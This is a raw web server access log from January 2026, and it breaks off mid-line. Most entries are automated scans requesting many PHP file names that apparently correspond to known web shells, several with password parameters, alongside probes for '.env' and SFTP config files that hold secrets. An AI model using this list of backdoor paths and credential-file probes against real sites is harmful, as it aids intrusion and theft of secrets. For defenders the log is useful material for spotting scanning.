[25/Jan/2026:08:40:44 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:48 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:50 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:50 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:40:50 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:32 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:37 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:39 +0300] "GET /wpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:43 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:44 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:46 +0300] "GET /admins.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:48 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:49 +0300] "GET /temp.php/wp-update.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:51 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:52 +0300] "GET /fclas.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:54 +0300] "GET /main.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:55 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:56 +0300] "GET /class.1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:58 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:58 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:42:59 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:00 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:01 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:02 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:04 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:05 +0300] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:07 +0300] "GET /xyz.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:08 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:10 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:10 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:12 +0300] "GET /elaina.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:13 +0300] "GET /kr.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:14 +0300] "GET /aaaa.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:15 +0300] "GET /to.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:16 +0300] "GET /class-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [25/Jan/2026:08:43:18 +0300] "GET /nyan.php HTTP/1.1" 301 795 "-" "-" 162.62.213.165 - - [25/Jan/2026:08:56:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 116.76.38.134 - - [25/Jan/2026:09:34:37 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.2747.119 Safari/537.36 OPR/63.0.3368.43" 173.249.54.83 - - [25/Jan/2026:09:42:42 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 103.77.107.222 - - [25/Jan/2026:10:41:34 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 103.77.107.222 - - [25/Jan/2026:10:41:38 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 91.92.242.7 - - [25/Jan/2026:10:49:25 +0300] "GET /images/images/cache.php?pass=3a0e007c895888c9c4bf234e2772a0dd HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:49:33 +0300] "GET /images/images/images/images/cache.php?pass=26aadf8d261066584120034c6303716f HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:49:37 +0300] "GET /images/images/images/images/images/images/cache.php?pass=6765bcbc711528e2760d2133cdf17685 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:49:40 +0300] "GET /wp-admin/css/colors/coffee/coffee/cache.php?pass=fcc7a4900087e4d11e6774b6b0f8467b HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:49:44 +0300] "GET /wp-admin/css/colors/ectoplasm/ectoplasm/cache.php?pass=9a74f1a60dbf0f02d9c7327f9e66a5d8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:49:46 +0300] "GET /wp-admin/css/colors/midnight/midnight/cache.php?pass=80060c5e7ed6eaa1c5fec465d37bf212 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:49:50 +0300] "GET /images/images/images/cache.php?pass=331b3e1aefcffd452db92a2c1c61c525 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:49:54 +0300] "GET /wp-admin/css/colors/colors/cache.php?pass=084feb330f49fc74f390119c08a8515f HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:49:57 +0300] "GET /images/images/images/images/images/images/images/images/images/images/cache.php?pass=1105a5a43bd65cd41776c4740f232849 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:49:59 +0300] "GET /images/images/images/images/images/images/images/images/images/images/images/cache.php?pass=341a599afb55832de18a18d89cff3c4e HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:50:01 +0300] "GET /wp-admin/css/colors/ocean/ocean/cache.php?pass=f0f01a17de3281fd1cc7b39fa5bd3fdb HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:50:04 +0300] "GET /images/images/images/images/images/cache.php?pass=c93ef613c69e7f82b5446413c46b0aea HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 102.129.234.188 - - [25/Jan/2026:09:57:56 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 91.92.242.7 - - [25/Jan/2026:10:50:10 +0300] "GET /wp-admin/network/network/cache.php?pass=38ef0afddaa8ead7a21aef35fab6d209 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:50:13 +0300] "GET /wp-admin/css/colors/sunrise/sunrise/cache.php?pass=fd82d9a1965c4f76d21c2a62c0e776b0 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:50:15 +0300] "GET /wp-admin/css/colors/blue/blue/cache.php?pass=cea0e58fac5c5d5bdab4b221bb077707 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 91.92.242.7 - - [25/Jan/2026:10:50:19 +0300] "GET /images/images/images/images/images/images/images/cache.php?pass=e2f2d10231c076274cbc76336b530c67 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.8.22.117 - - [25/Jan/2026:10:59:51 +0300] "POST /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 57.141.0.20 - - [25/Jan/2026:12:05:52 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 159.65.187.217 - - [25/Jan/2026:13:02:36 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 49.233.45.47 - - [25/Jan/2026:12:37:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.154.250.181 - - [25/Jan/2026:14:42:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.202.4.80 - - [25/Jan/2026:15:26:48 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.130.102.7 - - [25/Jan/2026:15:37:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.217.220.52 - - [25/Jan/2026:16:25:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:35 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:37 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:39 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:42 +0300] "GET /goomaogm.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:44 +0300] "GET /Dede.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:46 +0300] "GET /dichku.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:48 +0300] "GET /h2a2ck.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:50 +0300] "GET /yr.PHP HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:52 +0300] "GET /Mks3.PhP HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:54 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:57 +0300] "GET /ty226.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:59 +0300] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:02 +0300] "GET /pn.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:06 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:09 +0300] "GET /img.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:12 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:15 +0300] "GET /hans.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:18 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:22 +0300] "GET /wp-ana.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:25 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:28 +0300] "GET /tx1.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:30 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:05 +0300] "GET /az.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:09 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:12 +0300] "GET /oo.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:15 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:17 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:20 +0300] "GET /to.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:23 +0300] "GET /horeg.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:25 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:28 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:31 +0300] "GET /sfudq.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:33 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:35 +0300] "GET /wp-22.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:38 +0300] "GET /asx.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:40 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:42 +0300] "GET /dox.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:44 +0300] "GET /size.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:46 +0300] "GET /ng.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:49 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:51 +0300] "GET /page.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:53 +0300] "GET /z60.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:55 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:57 +0300] "GET /qual.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:59 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:13 +0300] "GET /rrr.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:16 +0300] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:18 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:21 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:24 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:27 +0300] "GET /cwclass.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:26:29 +0300] "GET //goods.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:36 +0300] "GET /ccou.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:39 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:41 +0300] "GET /yvxhx.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:44 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:47 +0300] "GET /qing2.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:50 +0300] "GET /doo.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:52 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:55 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:27:58 +0300] "GET /9v6.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:00 +0300] "GET /dbc.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:03 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:08 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:10 +0300] "GET /ws36.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:13 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:16 +0300] "GET /rh.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:19 +0300] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:21 +0300] "GET /siteheads.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:24 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:26 +0300] "GET /zer.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:29 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:31 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:34 +0300] "GET /galex.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:36 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:39 +0300] "GET /ant.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:42 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:45 +0300] "GET /0o0.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:47 +0300] "GET /gtc.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:50 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:53 +0300] "GET /support.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:54 +0300] "GET /styles.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:56 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:28:58 +0300] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:29:00 +0300] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:01 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:04 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:12 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:15 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:19 +0300] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:23 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:25 +0300] "GET /upl.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:28 +0300] "GET /past.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:30 +0300] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:33 +0300] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:35 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:37 +0300] "GET /massby2.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:40 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:42 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:45 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:47 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:50 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:52 +0300] "GET /ma.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:54 +0300] "GET /mh.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:56 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:30:58 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:31:01 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:31:04 +0300] "GET /ws46.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:31:07 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:31:10 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:31:12 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 4.217.220.52 - - [25/Jan/2026:16:31:14 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 146.190.123.231 - - [25/Jan/2026:17:50:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 167.99.118.47 - - [25/Jan/2026:19:36:21 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 173.252.83.2 - - [25/Jan/2026:19:18:47 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 49.233.45.47 - - [25/Jan/2026:19:21:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.131.32.36 - - [25/Jan/2026:20:48:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.171.231.27 - - [25/Jan/2026:21:05:50 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.130.78.203 - - [25/Jan/2026:21:47:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 14.215.163.132 - - [26/Jan/2026:01:31:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.24.236.108 - - [26/Jan/2026:02:16:00 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 195.24.236.108 - - [26/Jan/2026:02:16:12 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 170.106.192.3 - - [26/Jan/2026:03:18:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 188.130.129.249 - - [26/Jan/2026:03:38:23 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS 